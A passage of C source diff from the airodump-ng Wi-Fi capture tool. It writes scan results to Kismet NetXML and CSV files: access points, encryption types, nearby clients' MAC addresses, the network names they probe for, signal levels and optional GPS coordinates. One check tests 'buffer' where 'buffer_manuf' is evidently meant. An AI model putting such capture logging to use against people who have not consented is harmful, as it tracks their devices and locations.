+			while (*buffer_manuf == '\t' || *buffer_manuf == ' ')
+			{
+				++buffer_manuf;
+			}
+
+			// Did we stop at the manufacturer
+			if (*buffer_manuf != '\0')
+			{
+
+				// First make sure there's no end of line
+				if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n'
+					|| buffer_manuf[strlen(buffer_manuf) - 1] == '\r')
+				{
+					buffer_manuf[strlen(buffer_manuf) - 1] = '\0';
+					if (*buffer_manuf != '\0'
+						&& (buffer_manuf[strlen(buffer_manuf) - 1] == '\n'
+							|| buffer[strlen(buffer_manuf) - 1] == '\r'))
+					{
+						buffer_manuf[strlen(buffer_manuf) - 1] = '\0';
+					}
+				}
+				if (*buffer_manuf != '\0')
+				{
+					if ((manuf = (char *) malloc((strlen(buffer_manuf) + 1)
+												 * sizeof(char)))
+						== NULL)
+					{
+						perror("malloc failed");
+						return (NULL);
+					}
+					snprintf(
+						manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf);
+				}
+			}
+		}
+	}
+
+	return (manuf);
+}
+
+#define KISMET_NETXML_HEADER_BEGIN                                             \
+	"<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE "              \
+	"detection-run SYSTEM "                                                    \
+	"\"http://kismetwireless.net/kismet-3.1.0.dtd\">\n\n<detection-run "       \
+	"kismet-version=\"airodump-ng-1.0\" start-time=\""
+#define KISMET_NETXML_HEADER_END "\">\n\n"
+
+#define KISMET_NETXML_TRAILER "</detection-run>"
+
+#define TIME_STR_LENGTH 255
+static int dump_write_kismet_netxml_client_info(struct ST_info * client,
+												int client_no)
+{
+	char first_time[TIME_STR_LENGTH];
+	char last_time[TIME_STR_LENGTH];
+	char * manuf;
+	int client_max_rate, average_power, max_power, i, nb_probes_written,
+		is_unassociated;
+	char * essid = NULL;
+
+	if (client == NULL || (client_no <= 0 || client_no >= INT_MAX))
+	{
+		return (1);
+	}
+
+	is_unassociated = (client->base == NULL
+					   || memcmp(client->base->bssid, BROADCAST, 6) == 0);
+
+	strncpy(first_time, ctime(&client->tinit), TIME_STR_LENGTH - 1);
+	first_time[strlen(first_time) - 1] = 0; // remove new line
+
+	strncpy(last_time, ctime(&client->tlast), TIME_STR_LENGTH - 1);
+	last_time[strlen(last_time) - 1] = 0; // remove new line
+
+	fprintf(opt.f_kis_xml,
+			"\t\t<wireless-client number=\"%d\" "
+			"type=\"%s\" first-time=\"%s\""
+			" last-time=\"%s\">\n",
+			client_no,
+			(is_unassociated) ? "tods" : "established",
+			first_time,
+			last_time);
+
+	fprintf(opt.f_kis_xml,
+			"\t\t\t<client-mac>%02X:%02X:%02X:%02X:%02X:%02X</client-mac>\n",
+			client->stmac[0],
+			client->stmac[1],
+			client->stmac[2],
+			client->stmac[3],
+			client->stmac[4],
+			client->stmac[5]);
+
+	/* Manufacturer, if set using standard oui list */
+	manuf
+		= sanitize_xml((unsigned char *) client->manuf, strlen(client->manuf));
+	fprintf(opt.f_kis_xml,
+			"\t\t\t<client-manuf>%s</client-manuf>\n",
+			(manuf != NULL) ? manuf : "Unknown");
+	free(manuf);
+
+	/* SSID item, aka Probes */
+	nb_probes_written = 0;
+	for (i = 0; i < NB_PRB; i++)
+	{
+		if (client->probes[i][0] == '\0') continue;
+
+		fprintf(opt.f_kis_xml,
+				"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+		fprintf(opt.f_kis_xml,
+				"\t\t\t\t<type>Probe Request</type>\n"
+				"\t\t\t\t<max-rate>54.000000</max-rate>\n"
+				"\t\t\t\t<packets>1</packets>\n"
+				"\t\t\t\t<encryption>None</encryption>\n");
+		essid = sanitize_xml((unsigned char *) client->probes[i],
+							 (size_t) client->ssid_length[i]);
+		if (essid != NULL)
+		{
+			fprintf(opt.f_kis_xml, "\t\t\t\t<ssid>%s</ssid>\n", essid);
+			free(essid);
+		}
+
+		fprintf(opt.f_kis_xml, "\t\t\t</SSID>\n");
+
+		++nb_probes_written;
+	}
+
+	// Unassociated client with broadcast probes
+	if (is_unassociated && nb_probes_written == 0)
+	{
+		fprintf(opt.f_kis_xml,
+				"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+		fprintf(opt.f_kis_xml,
+				"\t\t\t\t<type>Probe Request</type>\n"
+				"\t\t\t\t<max-rate>54.000000</max-rate>\n"
+				"\t\t\t\t<packets>1</packets>\n"
+				"\t\t\t\t<encryption>None</encryption>\n");
+		fprintf(opt.f_kis_xml, "\t\t\t</SSID>\n");
+	}
+
+	/* Channel
+	   FIXME: Take G.freqoption in account */
+	fprintf(opt.f_kis_xml, "\t\t\t<channel>%d</channel>\n", client->channel);
+
+	/* Rate: inaccurate because it's the latest rate seen */
+	client_max_rate = (client->rate_from > client->rate_to) ? client->rate_from
+															: client->rate_to;
+	fprintf(opt.f_kis_xml,
+			"\t\t\t<maxseenrate>%.6f</maxseenrate>\n",
+			client_max_rate /
+#if defined(__x86_64__) && defined(__CYGWIN__)
+				(0.0f + 1000000));
+#else
+				1000000.0);
+#endif
+
+	/* Those 2 lines always stays the same */
+	fprintf(opt.f_kis_xml, "\t\t\t<carrier>IEEE 802.11b+</carrier>\n");
+	fprintf(opt.f_kis_xml, "\t\t\t<encoding>CCK</encoding>\n");
+
+	/* Packets */
+	fprintf(opt.f_kis_xml,
+			"\t\t\t<packets>\n"
+			"\t\t\t\t<LLC>0</LLC>\n"
+			"\t\t\t\t<data>0</data>\n"
+			"\t\t\t\t<crypt>0</crypt>\n"
+			"\t\t\t\t<total>%lu</total>\n"
+			"\t\t\t\t<fragments>0</fragments>\n"
+			"\t\t\t\t<retries>0</retries>\n"
+			"\t\t\t</packets>\n",
+			client->nb_pkt);
+
+	/* SNR information */
+	average_power = (client->power == -1) ? 0 : client->power;
+	max_power = (client->best_power == -1) ? average_power : client->best_power;
+
+	fprintf(opt.f_kis_xml,
+			"\t\t\t<snr-info>\n"
+			"\t\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
+			"\t\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
+			"\t\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
+			"\t\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
+			"\t\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
+			"\t\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
+			"\t\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
+			"\t\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
+			"\t\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
+			"\t\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
+			"\t\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
+			"\t\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
+			"\t\t\t</snr-info>\n",
+			average_power,
+			average_power,
+			average_power,
+			max_power,
+			max_power);
+
+	/* GPS Coordinates for clients */
+
+	if (opt.usegpsd)
+	{
+		fprintf(opt.f_kis_xml,
+				"\t\t\t<gps-info>\n"
+				"\t\t\t\t<min-lat>%.6f</min-lat>\n"
+				"\t\t\t\t<min-lon>%.6f</min-lon>\n"
+				"\t\t\t\t<min-alt>%.6f</min-alt>\n"
+				"\t\t\t\t<min-spd>%.6f</min-spd>\n"
+				"\t\t\t\t<max-lat>%.6f</max-lat>\n"
+				"\t\t\t\t<max-lon>%.6f</max-lon>\n"
+				"\t\t\t\t<max-alt>%.6f</max-alt>\n"
+				"\t\t\t\t<max-spd>%.6f</max-spd>\n"
+				"\t\t\t\t<peak-lat>%.6f</peak-lat>\n"
+				"\t\t\t\t<peak-lon>%.6f</peak-lon>\n"
+				"\t\t\t\t<peak-alt>%.6f</peak-alt>\n"
+				"\t\t\t\t<avg-lat>%.6f</avg-lat>\n"
+				"\t\t\t\t<avg-lon>%.6f</avg-lon>\n"
+				"\t\t\t\t<avg-alt>%.6f</avg-alt>\n"
+				"\t\t\t</gps-info>\n",
+				client->gps_loc_min[0],
+				client->gps_loc_min[1],
+				client->gps_loc_min[2],
+				client->gps_loc_min[3],
+				client->gps_loc_max[0],
+				client->gps_loc_max[1],
+				client->gps_loc_max[2],
+				client->gps_loc_max[3],
+				client->gps_loc_best[0],
+				client->gps_loc_best[1],
+				client->gps_loc_best[2],
+				/* Can the "best" be considered as average??? */
+				client->gps_loc_best[0],
+				client->gps_loc_best[1],
+				client->gps_loc_best[2]);
+	}
+	fprintf(opt.f_kis_xml, "\t\t</wireless-client>\n");
+
+	return (0);
+}
+
+int is_essid_hidden(const uint8_t * essid, const size_t length)
+{
+	if (!essid || length == 0) return 1;
+
+	for (size_t i = 0; i < length; ++i)
+	{
+		if (essid[i] != 0) return 0;
+	}
+
+	return 1;
+}
+
+#define NETXML_ENCRYPTION_TAG "%s<encryption>%s</encryption>\n"
+int dump_write_kismet_netxml(struct AP_info * ap_1st,
+							 struct ST_info * st_1st,
+							 unsigned int f_encrypt,
+							 char * airodump_start_time)
+{
+	int network_number, average_power, client_max_rate, max_power, client_nbr,
+		fp;
+	off_t fpos;
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
+	char first_time[TIME_STR_LENGTH];
+	char last_time[TIME_STR_LENGTH];
+	char * manuf;
+	char * essid = NULL;
+
+	if (!opt.record_data || !opt.output_format_kismet_netxml) return (0);
+
+	if (fseek(opt.f_kis_xml, 0, SEEK_SET) == -1)
+	{
+		return (0);
+	}
+
+	/* Header and airodump-ng start time */
+	fprintf(opt.f_kis_xml,
+			"%s%s%s",
+			KISMET_NETXML_HEADER_BEGIN,
+			airodump_start_time,
+			KISMET_NETXML_HEADER_END);
+
+	ap_cur = ap_1st;
+
+	network_number = 0;
+	while (ap_cur != NULL)
+	{
+		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (ap_cur->security != 0 && f_encrypt != 0
+			&& ((ap_cur->security & f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (is_filtered_essid(ap_cur->essid))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		++network_number; // Network Number
+		strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1);
+		first_time[strlen(first_time) - 1] = 0; // remove new line
+
+		strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1);
+		last_time[strlen(last_time) - 1] = 0; // remove new line
+
+		fprintf(opt.f_kis_xml,
+				"\t<wireless-network number=\"%d\" type=\"infrastructure\" ",
+				network_number);
+		fprintf(opt.f_kis_xml,
+				"first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+
+		fprintf(opt.f_kis_xml,
+				"\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
+				first_time,
+				last_time);
+		fprintf(opt.f_kis_xml, "\t\t\t<type>Beacon</type>\n");
+		fprintf(opt.f_kis_xml,
+				"\t\t\t<max-rate>%d.000000</max-rate>\n",
+				ap_cur->max_speed);
+		fprintf(
+			opt.f_kis_xml, "\t\t\t<packets>%lu</packets>\n", ap_cur->nb_bcn);
+		fprintf(opt.f_kis_xml, "\t\t\t<beaconrate>%d</beaconrate>\n", 10);
+
+		// Encryption
+		if (ap_cur->security & STD_OPN)
+			fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "None");
+		else if (ap_cur->security & STD_WEP)
+			fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP");
+		else if (ap_cur->security & STD_WPA2 || ap_cur->security & STD_WPA)
+		{
+			if (ap_cur->security & ENC_TKIP)
+				fprintf(
+					opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+TKIP");
+			if (ap_cur->security & AUTH_MGT)
+				fprintf(opt.f_kis_xml,
+						NETXML_ENCRYPTION_TAG,
+						"\t\t\t",
+						"WPA+MGT"); // Not a valid value: NetXML does not have a
+			// value for WPA Enterprise
+			if (ap_cur->security & AUTH_PSK)
+				fprintf(
+					opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+PSK");
+			if (ap_cur->security & AUTH_CMAC)
+				fprintf(opt.f_kis_xml,
+						NETXML_ENCRYPTION_TAG,
+						"\t\t\t",
+						"WPA+PSK+CMAC");
+			if (ap_cur->security & ENC_CCMP)
+				fprintf(opt.f_kis_xml,
+						NETXML_ENCRYPTION_TAG,
+						"\t\t\t",
+						"WPA+AES-CCM");
+			if (ap_cur->security & ENC_WRAP)
+				fprintf(opt.f_kis_xml,
+						NETXML_ENCRYPTION_TAG,
+						"\t\t\t",
+						"WPA+AES-OCB");
+			if (ap_cur->security & ENC_GCMP)
+				fprintf(
+					opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+GCMP");
+			if (ap_cur->security & ENC_GMAC)
+				fprintf(
+					opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+GMAC");
+			if (ap_cur->security & AUTH_SAE)
+				fprintf(
+					opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+SAE");
+			if (ap_cur->security & AUTH_OWE)
+				fprintf(
+					opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+OWE");
+		}
+		else if (ap_cur->security & ENC_WEP104)
+			fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP104");
+		else if (ap_cur->security & ENC_WEP40)
+			fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP40");
+
+		/* ESSID */
+		if (!is_essid_hidden(ap_cur->essid, (size_t) ap_cur->ssid_length))
+		{
+			essid = sanitize_xml(ap_cur->essid, (size_t) ap_cur->ssid_length);
+		}
+
+		fprintf(opt.f_kis_xml,
+				"\t\t\t<essid cloaked=\"%s\">%s</essid>\n",
+				(essid) ? "false" : "true",
+				(essid) ? essid : "");
+		if (essid)
+		{
+			free(essid);
+			essid = NULL;
+		}
+
+		/* End of SSID tag */
+		fprintf(opt.f_kis_xml, "\t\t</SSID>\n");
+
+		/* BSSID */
+		fprintf(opt.f_kis_xml,
+				"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
+				ap_cur->bssid[0],
+				ap_cur->bssid[1],
+				ap_cur->bssid[2],
+				ap_cur->bssid[3],
+				ap_cur->bssid[4],
+				ap_cur->bssid[5]);
+
+		/* Manufacturer, if set using standard oui list */
+		manuf = sanitize_xml((unsigned char *) ap_cur->manuf,
+							 strlen(ap_cur->manuf));
+		fprintf(opt.f_kis_xml,
+				"\t\t<manuf>%s</manuf>\n",
+				(manuf != NULL) ? manuf : "Unknown");
+		free(manuf);
+
+		/* Channel
+		   FIXME: Take G.freqoption in account */
+		fprintf(opt.f_kis_xml,
+				"\t\t<channel>%d</channel>\n",
+				(ap_cur->channel) == -1 ? 0 : ap_cur->channel);
+
+		/* Freq (in Mhz) and total number of packet on that frequency
+		   FIXME: Take G.freqoption in account */
+		fprintf(opt.f_kis_xml,
+				"\t\t<freqmhz>%d %lu</freqmhz>\n",
+				(ap_cur->channel) == -1 ? 0 : getFrequencyFromChannel(
+												  ap_cur->channel),
+				// ap_cur->nb_data + ap_cur->nb_bcn );
+				ap_cur->nb_pkt);
+
+		/* XXX: What about 5.5Mbit */
+		fprintf(opt.f_kis_xml,
+				"\t\t<maxseenrate>%d</maxseenrate>\n",
+				(ap_cur->max_speed == -1) ? 0 : ap_cur->max_speed * 1000);
+
+		/* Those 2 lines always stays the same */
+		fprintf(opt.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
+		fprintf(opt.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
+
+		/* Packets */
+		fprintf(opt.f_kis_xml,
+				"\t\t<packets>\n"
+				"\t\t\t<LLC>%lu</LLC>\n"
+				"\t\t\t<data>%lu</data>\n"
+				"\t\t\t<crypt>0</crypt>\n"
+				"\t\t\t<total>%lu</total>\n"
+				"\t\t\t<fragments>0</fragments>\n"
+				"\t\t\t<retries>0</retries>\n"
+				"\t\t</packets>\n",
+				ap_cur->nb_data,
+				ap_cur->nb_data,
+				// ap_cur->nb_data + ap_cur->nb_bcn );
+				ap_cur->nb_pkt);
+
+		/* XXX: What does that field mean? Is it the total size of data? */
+		fprintf(opt.f_kis_xml, "\t\t<datasize>0</datasize>\n");
+
+		/* Client information */
+		st_cur = st_1st;
+		client_nbr = 0;
+
+		while (st_cur != NULL)
+		{
+			/* Check if the station is associated to the current AP */
+			if (memcmp(st_cur->stmac, BROADCAST, 6) != 0 && st_cur->base != NULL
+				&& memcmp(st_cur->base->bssid, ap_cur->bssid, 6) == 0)
+			{
+				dump_write_kismet_netxml_client_info(st_cur, ++client_nbr);
+			}
+
+			/* Next client */
+			st_cur = st_cur->next;
+		}
+
+		/* SNR information */
+		average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power;
+		max_power
+			= (ap_cur->best_power == -1) ? average_power : ap_cur->best_power;
+		fprintf(opt.f_kis_xml,
+				"\t\t<snr-info>\n"
+				"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
+				"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
+				"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
+				"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
+				"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
+				"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
+				"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
+				"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
+				"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
+				"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
+				"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
+				"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
+				"\t\t</snr-info>\n",
+				average_power,
+				average_power,
+				average_power,
+				max_power,
+				max_power);
+
+		/* GPS Coordinates */
+		if (opt.usegpsd)
+		{
+			fprintf(opt.f_kis_xml,
+					"\t\t<gps-info>\n"
+					"\t\t\t<min-lat>%.6f</min-lat>\n"
+					"\t\t\t<min-lon>%.6f</min-lon>\n"
+					"\t\t\t<min-alt>%.6f</min-alt>\n"
+					"\t\t\t<min-spd>%.6f</min-spd>\n"
+					"\t\t\t<max-lat>%.6f</max-lat>\n"
+					"\t\t\t<max-lon>%.6f</max-lon>\n"
+					"\t\t\t<max-alt>%.6f</max-alt>\n"
+					"\t\t\t<max-spd>%.6f</max-spd>\n"
+					"\t\t\t<peak-lat>%.6f</peak-lat>\n"
+					"\t\t\t<peak-lon>%.6f</peak-lon>\n"
+					"\t\t\t<peak-alt>%.6f</peak-alt>\n"
+					"\t\t\t<avg-lat>%.6f</avg-lat>\n"
+					"\t\t\t<avg-lon>%.6f</avg-lon>\n"
+					"\t\t\t<avg-alt>%.6f</avg-alt>\n"
+					"\t\t</gps-info>\n",
+					ap_cur->gps_loc_min[0],
+					ap_cur->gps_loc_min[1],
+					ap_cur->gps_loc_min[2],
+					ap_cur->gps_loc_min[3],
+					ap_cur->gps_loc_max[0],
+					ap_cur->gps_loc_max[1],
+					ap_cur->gps_loc_max[2],
+					ap_cur->gps_loc_max[3],
+					ap_cur->gps_loc_best[0],
+					ap_cur->gps_loc_best[1],
+					ap_cur->gps_loc_best[2],
+					/* Can the "best" be considered as average??? */
+					ap_cur->gps_loc_best[0],
+					ap_cur->gps_loc_best[1],
+					ap_cur->gps_loc_best[2]);
+		}
+
+		/* BSS Timestamp */
+		fprintf(opt.f_kis_xml,
+				"\t\t<bsstimestamp>%llu</bsstimestamp>\n",
+				ap_cur->timestamp);
+
+		/* Trailing information */
+		fprintf(opt.f_kis_xml,
+				"\t\t<cdp-device></cdp-device>\n"
+				"\t\t<cdp-portid></cdp-portid>\n");
+
+		/* Closing tag for the current wireless network */
+		fprintf(opt.f_kis_xml, "\t</wireless-network>\n");
+		//-------- End of XML
+
+		ap_cur = ap_cur->next;
+	}
+
+	/* Write all unassociated stations */
+	st_cur = st_1st;
+	while (st_cur != NULL)
+	{
+		/* If not associated and not Broadcast Mac */
+		if (st_cur->base == NULL
+			|| memcmp(st_cur->base->bssid, BROADCAST, 6) == 0)
+		{
+			++network_number; // Network Number
+
+			/* Write new network information */
+			strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1);
+			first_time[strlen(first_time) - 1] = 0; // remove new line
+
+			strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1);
+			last_time[strlen(last_time) - 1] = 0; // remove new line
+
+			fprintf(opt.f_kis_xml,
+					"\t<wireless-network number=\"%d\" type=\"probe\" ",
+					network_number);
+			fprintf(opt.f_kis_xml,
+					"first-time=\"%s\" last-time=\"%s\">\n",
+					first_time,
+					last_time);
+
+			/* BSSID */
+			fprintf(opt.f_kis_xml,
+					"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
+					st_cur->stmac[0],
+					st_cur->stmac[1],
+					st_cur->stmac[2],
+					st_cur->stmac[3],
+					st_cur->stmac[4],
+					st_cur->stmac[5]);
+
+			/* Manufacturer, if set using standard oui list */
+			manuf = sanitize_xml((unsigned char *) st_cur->manuf,
+								 strlen(st_cur->manuf));
+			fprintf(opt.f_kis_xml,
+					"\t\t<manuf>%s</manuf>\n",
+					(manuf != NULL) ? manuf : "Unknown");
+			free(manuf);
+
+			/* Channel
+			   FIXME: Take G.freqoption in account */
+			fprintf(
+				opt.f_kis_xml, "\t\t<channel>%d</channel>\n", st_cur->channel);
+
+			/* Freq (in Mhz) and total number of packet on that frequency
+			   FIXME: Take G.freqoption in account */
+			fprintf(opt.f_kis_xml,
+					"\t\t<freqmhz>%d %lu</freqmhz>\n",
+					getFrequencyFromChannel(st_cur->channel),
+					st_cur->nb_pkt);
+
+			/* Rate: inaccurate because it's the latest rate seen */
+			client_max_rate = (st_cur->rate_from > st_cur->rate_to)
+								  ? st_cur->rate_from
+								  : st_cur->rate_to;
+			fprintf(opt.f_kis_xml,
+					"\t\t<maxseenrate>%.6f</maxseenrate>\n",
+					client_max_rate /
+#if defined(__x86_64__) && defined(__CYGWIN__)
+						(0.0f + 1000000));
+#else
+						1000000.0);
+#endif
+
+			fprintf(opt.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
+			fprintf(opt.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
+
+			/* Packets */
+			fprintf(opt.f_kis_xml,
+					"\t\t<packets>\n"
+					"\t\t\t<LLC>0</LLC>\n"
+					"\t\t\t<data>0</data>\n"
+					"\t\t\t<crypt>0</crypt>\n"
+					"\t\t\t<total>%lu</total>\n"
+					"\t\t\t<fragments>0</fragments>\n"
+					"\t\t\t<retries>0</retries>\n"
+					"\t\t</packets>\n",
+					st_cur->nb_pkt);
+
+			/* XXX: What does that field mean? Is it the total size of data? */
+			fprintf(opt.f_kis_xml, "\t\t<datasize>0</datasize>\n");
+
+			/* SNR information */
+			average_power = (st_cur->power == -1) ? 0 : st_cur->power;
+			max_power = (st_cur->best_power == -1) ? average_power
+												   : st_cur->best_power;
+
+			fprintf(opt.f_kis_xml,
+					"\t\t<snr-info>\n"
+					"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
+					"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
+					"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
+					"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
+					"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
+					"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
+					"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
+					"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
+					"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
+					"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
+					"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
+					"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
+					"\t\t</snr-info>\n",
+					average_power,
+					average_power,
+					average_power,
+					max_power,
+					max_power);
+
+			/* GPS Coordinates for clients */
+
+			if (opt.usegpsd)
+			{
+				fprintf(opt.f_kis_xml,
+						"\t\t<gps-info>\n"
+						"\t\t\t<min-lat>%.6f</min-lat>\n"
+						"\t\t\t<min-lon>%.6f</min-lon>\n"
+						"\t\t\t<min-alt>%.6f</min-alt>\n"
+						"\t\t\t<min-spd>%.6f</min-spd>\n"
+						"\t\t\t<max-lat>%.6f</max-lat>\n"
+						"\t\t\t<max-lon>%.6f</max-lon>\n"
+						"\t\t\t<max-alt>%.6f</max-alt>\n"
+						"\t\t\t<max-spd>%.6f</max-spd>\n"
+						"\t\t\t<peak-lat>%.6f</peak-lat>\n"
+						"\t\t\t<peak-lon>%.6f</peak-lon>\n"
+						"\t\t\t<peak-alt>%.6f</peak-alt>\n"
+						"\t\t\t<avg-lat>%.6f</avg-lat>\n"
+						"\t\t\t<avg-lon>%.6f</avg-lon>\n"
+						"\t\t\t<avg-alt>%.6f</avg-alt>\n"
+						"\t\t</gps-info>\n",
+						st_cur->gps_loc_min[0],
+						st_cur->gps_loc_min[1],
+						st_cur->gps_loc_min[2],
+						st_cur->gps_loc_min[3],
+						st_cur->gps_loc_max[0],
+						st_cur->gps_loc_max[1],
+						st_cur->gps_loc_max[2],
+						st_cur->gps_loc_max[3],
+						st_cur->gps_loc_best[0],
+						st_cur->gps_loc_best[1],
+						st_cur->gps_loc_best[2],
+						/* Can the "best" be considered as average??? */
+						st_cur->gps_loc_best[0],
+						st_cur->gps_loc_best[1],
+						st_cur->gps_loc_best[2]);
+			}
+
+			fprintf(opt.f_kis_xml, "\t\t<bsstimestamp>0</bsstimestamp>\n");
+
+			/* CDP information */
+			fprintf(opt.f_kis_xml,
+					"\t\t<cdp-device></cdp-device>\n"
+					"\t\t<cdp-portid></cdp-portid>\n");
+
+			/* Write client information */
+			dump_write_kismet_netxml_client_info(st_cur, 1);
+
+			fprintf(opt.f_kis_xml, "\t</wireless-network>");
+		}
+		st_cur = st_cur->next;
+	}
+	/* TODO: Also go through na_1st */
+
+	/* Trailing */
+	fprintf(opt.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER);
+
+	fflush(opt.f_kis_xml);
+
+	/* Sometimes there can be crap at the end of the file, so truncating is a
+	   good idea.
+	   XXX: Is this really correct, I hope fileno() won't have any side effect
+	   */
+	fp = fileno(opt.f_kis_xml);
+	fpos = ftell(opt.f_kis_xml);
+	if (fp == -1 || fpos == -1)
+	{
+		return (0);
+	}
+	IGNORE_NZ(ftruncate(fp, fpos));
+
+	return (0);
+}
+#undef TIME_STR_LENGTH
+
+#define KISMET_HEADER                                                          \
+	"Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;"   \
+	"MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;"   \
+	"FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;" \
+	"GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;"  \
+	"GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n"
+
+int dump_write_kismet_csv(struct AP_info * ap_1st,
+						  struct ST_info * st_1st,
+						  unsigned int f_encrypt)
+{
+	UNUSED_PARAM(st_1st);
+
+	int i, k;
+	struct AP_info * ap_cur;
+
+	if (!opt.record_data || !opt.output_format_kismet_csv) return (0);
+
+	if (fseek(opt.f_kis, 0, SEEK_SET) == -1)
+	{
+		return (0);
+	}
+
+	fprintf(opt.f_kis, KISMET_HEADER);
+
+	ap_cur = ap_1st;
+
+	k = 1;
+	while (ap_cur != NULL)
+	{
+		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (ap_cur->security != 0 && f_encrypt != 0
+			&& ((ap_cur->security & f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		// Network
+		fprintf(opt.f_kis, "%d;", k);
+
+		// NetType
+		fprintf(opt.f_kis, "infrastructure;");
+
+		// ESSID
+		for (i = 0; i < ap_cur->ssid_length; i++)
+		{
+			fprintf(opt.f_kis, "%c", ap_cur->essid[i]);
+		}
+		fprintf(opt.f_kis, ";");
+
+		// BSSID
+		fprintf(opt.f_kis,
+				"%02X:%02X:%02X:%02X:%02X:%02X;",
+				ap_cur->bssid[0],
+				ap_cur->bssid[1],
+				ap_cur->bssid[2],
+				ap_cur->bssid[3],
+				ap_cur->bssid[4],
+				ap_cur->bssid[5]);
+
+		// Info
+		fprintf(opt.f_kis, ";");
+
+		// Channel
+		fprintf(opt.f_kis, "%d;", ap_cur->channel);
+
+		// Cloaked
+		fprintf(opt.f_kis, "No;");
+
+		// Encryption
+		if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) != 0)
+		{
+			if (ap_cur->security & STD_WPA2)
+			{
+				if (ap_cur->security & AUTH_SAE || ap_cur->security & AUTH_OWE)
+					fprintf(opt.f_kis, "WPA3,");
+				else
+					fprintf(opt.f_kis, "WPA2,");
+			}
+			if (ap_cur->security & STD_WPA) fprintf(opt.f_kis, "WPA,");
